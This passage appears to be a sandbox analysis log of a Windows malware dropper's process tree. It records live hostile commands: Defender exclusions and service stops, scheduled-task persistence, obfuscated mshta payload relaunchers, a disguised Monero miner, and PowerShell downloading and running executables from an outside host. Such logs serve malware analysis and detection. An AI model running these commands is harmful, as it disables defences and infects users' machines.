- Suspicious use of AdjustPrivilegeToken
PID:2264

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
5⤵
- Suspicious use of WriteProcessMemory
PID:444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2664

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat016e74da9cbf1.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:5000

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat016e74da9cbf1.exe
Sat016e74da9cbf1.exe
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3788

C:\Users\Admin\Pictures\Adobe Films\e5H4avJGAknZvvCppg0GFVNM.exe
"C:\Users\Admin\Pictures\Adobe Films\e5H4avJGAknZvvCppg0GFVNM.exe"
7⤵
- Executes dropped EXE
PID:5260

C:\Users\Admin\Pictures\Adobe Films\6ltbOXKT_ifPZ3wV_9gaAgR_.exe
"C:\Users\Admin\Pictures\Adobe Films\6ltbOXKT_ifPZ3wV_9gaAgR_.exe"
7⤵
- Executes dropped EXE
PID:4172

C:\Users\Admin\Pictures\Adobe Films\o9uSZntIwqe93u3YXgjwODAp.exe
"C:\Users\Admin\Pictures\Adobe Films\o9uSZntIwqe93u3YXgjwODAp.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5640

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:2612

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:5444

C:\Users\Admin\Documents\X4IAaOgGcZikswnm7TOgIOSW.exe
"C:\Users\Admin\Documents\X4IAaOgGcZikswnm7TOgIOSW.exe"
8⤵
PID:2824

C:\Users\Admin\Pictures\Adobe Films\nYM_HzkzBazNv3s7A45da1FV.exe
"C:\Users\Admin\Pictures\Adobe Films\nYM_HzkzBazNv3s7A45da1FV.exe"
9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5700

C:\Users\Admin\Pictures\Adobe Films\zYdlxzTOubkxt6qsS_obRu5x.exe
"C:\Users\Admin\Pictures\Adobe Films\zYdlxzTOubkxt6qsS_obRu5x.exe"
9⤵
PID:8048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 236
10⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7372

C:\Users\Admin\Pictures\Adobe Films\28Fes2YSzGb2vczE9pkmn4AA.exe
"C:\Users\Admin\Pictures\Adobe Films\28Fes2YSzGb2vczE9pkmn4AA.exe"
9⤵
PID:8024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8024 -s 240
10⤵
- Program crash
PID:7772

C:\Users\Admin\Pictures\Adobe Films\4WqjhvnE_nWs2qhNwdMkZgn0.exe
"C:\Users\Admin\Pictures\Adobe Films\4WqjhvnE_nWs2qhNwdMkZgn0.exe"
9⤵
PID:8120

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\4WqjhvnE_nWs2qhNwdMkZgn0.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\4WqjhvnE_nWs2qhNwdMkZgn0.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
10⤵
PID:7624

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\4WqjhvnE_nWs2qhNwdMkZgn0.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\4WqjhvnE_nWs2qhNwdMkZgn0.exe" ) do taskkill -f -iM "%~NxM"
11⤵
PID:7444

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "4WqjhvnE_nWs2qhNwdMkZgn0.exe"
12⤵
- Kills process with taskkill
PID:8092

C:\Users\Admin\Pictures\Adobe Films\ct7RBygn1rP1ckYHc9QoXLS3.exe
"C:\Users\Admin\Pictures\Adobe Films\ct7RBygn1rP1ckYHc9QoXLS3.exe"
9⤵
PID:8104

C:\Users\Admin\Pictures\Adobe Films\11Uka6VhuG8aNccyUNPMKjhJ.exe
"C:\Users\Admin\Pictures\Adobe Films\11Uka6VhuG8aNccyUNPMKjhJ.exe"
9⤵
PID:4936

C:\Users\Admin\Pictures\Adobe Films\shgBWCefQthWMZ9bzKCaG8Jr.exe
"C:\Users\Admin\Pictures\Adobe Films\shgBWCefQthWMZ9bzKCaG8Jr.exe"
9⤵
PID:6316

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
10⤵
- Loads dropped DLL
- Adds Run key to start application
PID:6164

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"
11⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
PID:1500

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x208,0x20c,0x210,0x1e4,0x214,0x7ff86290dec0,0x7ff86290ded0,0x7ff86290dee0
12⤵
PID:2948

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7baac9e70,0x7ff7baac9e80,0x7ff7baac9e90
13⤵
PID:3644

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1704,5350433864775299725,6792876898391423959,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1500_1764078621" --mojo-platform-channel-handle=1768 /prefetch:8
12⤵
PID:6672

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1704,5350433864775299725,6792876898391423959,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw1500_1764078621" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1720 /prefetch:2
12⤵
PID:7264

C:\Users\Admin\Pictures\Adobe Films\hbmssEj0o1Sjtg9efIzhu9Cj.exe
"C:\Users\Admin\Pictures\Adobe Films\hbmssEj0o1Sjtg9efIzhu9Cj.exe"
9⤵
PID:7828

C:\Users\Admin\AppData\Local\Temp\is-UR4VL.tmp\hbmssEj0o1Sjtg9efIzhu9Cj.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UR4VL.tmp\hbmssEj0o1Sjtg9efIzhu9Cj.tmp" /SL5="$7024E,506127,422400,C:\Users\Admin\Pictures\Adobe Films\hbmssEj0o1Sjtg9efIzhu9Cj.exe"
10⤵
- Loads dropped DLL
PID:3508

C:\Users\Admin\Pictures\Adobe Films\Vgb9MSUHJnGgHNOrMsbi_BKX.exe
"C:\Users\Admin\Pictures\Adobe Films\Vgb9MSUHJnGgHNOrMsbi_BKX.exe"
7⤵
PID:5240

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
PID:5936

C:\Users\Admin\Pictures\Adobe Films\LF6wUUS4Bh5t4GsH_50X1G6X.exe
"C:\Users\Admin\Pictures\Adobe Films\LF6wUUS4Bh5t4GsH_50X1G6X.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2236

C:\Users\Admin\Pictures\Adobe Films\FOGl6ElFqFbTpkovg9hhVPi3.exe
"C:\Users\Admin\Pictures\Adobe Films\FOGl6ElFqFbTpkovg9hhVPi3.exe"
7⤵
- Executes dropped EXE
PID:4788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 200
8⤵
- Program crash
PID:7492

C:\Users\Admin\Pictures\Adobe Films\Vnbdvi08mAvQMZ57cLQirs_r.exe
"C:\Users\Admin\Pictures\Adobe Films\Vnbdvi08mAvQMZ57cLQirs_r.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5684

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
8⤵
PID:6992

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01866e4ba0024d.exe /mixone
5⤵
- Suspicious use of WriteProcessMemory
PID:3340

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01866e4ba0024d.exe
Sat01866e4ba0024d.exe /mixone
6⤵
- Executes dropped EXE
PID:3160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3160 -s 240
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5508

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat01b537da2e0af175a.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:4040

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat01b537da2e0af175a.exe
Sat01b537da2e0af175a.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
7⤵
- Executes dropped EXE
PID:5324

C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
8⤵
- Executes dropped EXE
PID:5792

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
9⤵
PID:6564

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
10⤵
PID:2684

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
11⤵
- Creates scheduled task(s)
PID:4696

C:\Windows\System32\cmd.exe
"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
10⤵
- Loads dropped DLL
PID:7096

C:\Users\Admin\AppData\Roaming\services64.exe
C:\Users\Admin\AppData\Roaming\services64.exe
11⤵
PID:4520

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
12⤵
- Suspicious use of SetThreadContext
PID:8016

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
13⤵
PID:8

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "/sihost64"
14⤵
PID:7304

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
13⤵
- Drops file in Program Files directory
PID:668

C:\Program Files (x86)\A7nrtit\helpydn.exe
"C:\Program Files (x86)\A7nrtit\helpydn.exe"
14⤵
PID:4460

C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
8⤵
- Executes dropped EXE
PID:6040

C:\Users\Admin\AppData\Roaming\4028317.exe
"C:\Users\Admin\AppData\Roaming\4028317.exe"
9⤵
PID:6984

C:\Users\Admin\AppData\Roaming\4921466.exe
"C:\Users\Admin\AppData\Roaming\4921466.exe"
9⤵
PID:6804

C:\Users\Admin\AppData\Roaming\8999824.exe
"C:\Users\Admin\AppData\Roaming\8999824.exe"
9⤵
PID:3316

C:\Users\Admin\AppData\Roaming\1775299.exe
"C:\Users\Admin\AppData\Roaming\1775299.exe"
9⤵
- Adds Run key to start application
PID:6060

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
10⤵
PID:7940

C:\Users\Admin\AppData\Roaming\8696436.exe
"C:\Users\Admin\AppData\Roaming\8696436.exe"
9⤵
PID:6496

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpT: clOSE ( CReATeObJEct ( "wSCRipT.sHeLL"). RUn ("C:\Windows\system32\cmd.exe /Q /r TYpe ""C:\Users\Admin\AppData\Roaming\8696436.exe"" >zrvA.exe &&STArt zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu &If """" == """" for %d in ( ""C:\Users\Admin\AppData\Roaming\8696436.exe"") do taskkill /im ""%~nXd"" -F " ,0 , TrUe))
10⤵
PID:5512

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /Q /r TYpe "C:\Users\Admin\AppData\Roaming\8696436.exe" >zrvA.exe &&STArt zRva.EXE /PqtlfVLLUzTsVT2Ot9MwAu &If "" =="" for %d in ("C:\Users\Admin\AppData\Roaming\8696436.exe") do taskkill /im "%~nXd" -F
11⤵
PID:7016

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "8696436.exe" -F
12⤵
- Kills process with taskkill
PID:5948

C:\Users\Admin\AppData\Local\Temp\inst1.exe
"C:\Users\Admin\AppData\Local\Temp\inst1.exe"
8⤵
- Executes dropped EXE
PID:5480

C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe
"C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"
8⤵
- Executes dropped EXE
PID:5424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5424 -s 292
9⤵
- Program crash
PID:6560

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
8⤵
PID:6628

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
8⤵
- Executes dropped EXE
PID:7080

C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
8⤵
PID:3300

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
9⤵
PID:4616

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
10⤵
PID:3504

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
11⤵
PID:5916

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
12⤵
PID:5648

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
13⤵
PID:6560

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
12⤵
PID:7320

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
13⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5512

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
14⤵
PID:3340

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
14⤵
PID:5304

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
14⤵
- Loads dropped DLL
PID:4940

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "search_hyperfs_206.exe"
11⤵
- Kills process with taskkill
PID:4672

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
8⤵
PID:1064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1064 -s 616
9⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6084

C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe
"C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe"
8⤵
PID:5984

C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
8⤵
- Loads dropped DLL
PID:5776

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
9⤵
- Loads dropped DLL
- Adds Run key to start application
PID:4928

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"
10⤵
- Loads dropped DLL
PID:7116

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
8⤵
PID:4704

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sat0188dba58af938.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:2824

C:\Users\Admin\AppData\Local\Temp\7zS8F07DB83\Sat0188dba58af938.exe
Sat0188dba58af938.exe
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4872

C:\Users\Admin\Pictures\Adobe Films\e5H4avJGAknZvvCppg0GFVNM.exe
"C:\Users\Admin\Pictures\Adobe Films\e5H4avJGAknZvvCppg0GFVNM.exe"
7⤵
- Executes dropped EXE
PID:5228

C:\Users\Admin\Pictures\Adobe Films\3dMI4Si0Juc8JmYItUK1_bOX.exe
"C:\Users\Admin\Pictures\Adobe Films\3dMI4Si0Juc8JmYItUK1_bOX.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:5236

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
PID:7148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5236 -s 396
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1364

C:\Users\Admin\Pictures\Adobe Films\pcDa6JJRRSX5ENuJg_ClL7Id.exe
"C:\Users\Admin\Pictures\Adobe Films\pcDa6JJRRSX5ENuJg_ClL7Id.exe"
7⤵
- Executes dropped EXE
PID:5316

C:\Users\Admin\Pictures\Adobe Films\xialBpZY0CCGO2X6atbO74Tn.exe
"C:\Users\Admin\Pictures\Adobe Films\xialBpZY0CCGO2X6atbO74Tn.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of SetThreadContext
PID:3068

C:\Users\Admin\AppData\Local\Temp\cf7e211a-c11f-4071-99b2-1e8cfe44935c\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\cf7e211a-c11f-4071-99b2-1e8cfe44935c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cf7e211a-c11f-4071-99b2-1e8cfe44935c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
8⤵
PID:6480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cf7e211a-c11f-4071-99b2-1e8cfe44935c\test.bat"
9⤵
PID:5780

C:\Windows\system32\sc.exe
sc stop windefend
10⤵
PID:2440

C:\Users\Admin\Pictures\Adobe Films\xialBpZY0CCGO2X6atbO74Tn.exe
"C:\Users\Admin\Pictures\Adobe Films\xialBpZY0CCGO2X6atbO74Tn.exe"
8⤵
PID:1472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\xialBpZY0CCGO2X6atbO74Tn.exe" -Force
8⤵
PID:8056

C:\Users\Admin\Pictures\Adobe Films\Vgb9MSUHJnGgHNOrMsbi_BKX.exe
"C:\Users\Admin\Pictures\Adobe Films\Vgb9MSUHJnGgHNOrMsbi_BKX.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:5588

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
8⤵
PID:6996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5588 -s 400
8⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6928

C:\Users\Admin\Pictures\Adobe Films\HhHYpWjRp4fWvBG9HSpLlEXd.exe
"C:\Users\Admin\Pictures\Adobe Films\HhHYpWjRp4fWvBG9HSpLlEXd.exe"
7⤵
- Executes dropped EXE
PID:5392

C:\Users\Admin\Pictures\Adobe Films\x_NIOasvKYPQ56cpcMhnsHLe.exe
"C:\Users\Admin\Pictures\Adobe Films\x_NIOasvKYPQ56cpcMhnsHLe.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4132

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
8⤵
- Executes dropped EXE
PID:4996

C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe
"C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe"
8⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:6004

C:\Users\Admin\Pictures\Adobe Films\fx6ZjM_T3TYXA8Vgl8TM4_N8.exe
"C:\Users\Admin\Pictures\Adobe Films\fx6ZjM_T3TYXA8Vgl8TM4_N8.exe"
7⤵
- Executes dropped EXE
PID:1348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 288
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8076

C:\Users\Admin\Pictures\Adobe Films\Vnbdvi08mAvQMZ57cLQirs_r.exe
"C:\Users\Admin\Pictures\Adobe Films\Vnbdvi08mAvQMZ57cLQirs_r.exe"
7⤵
- Executes dropped EXE
PID:4384

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
#cmd
8⤵
- Executes dropped EXE
PID:5812

C:\Users\Admin\AppData\Local\Temp\soldd.exe
"C:\Users\Admin\AppData\Local\Temp\soldd.exe"
9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:5240

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/Amongus.exe', (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe')" & exit
10⤵
PID:920

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
11⤵
PID:4740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4740 -s 2228
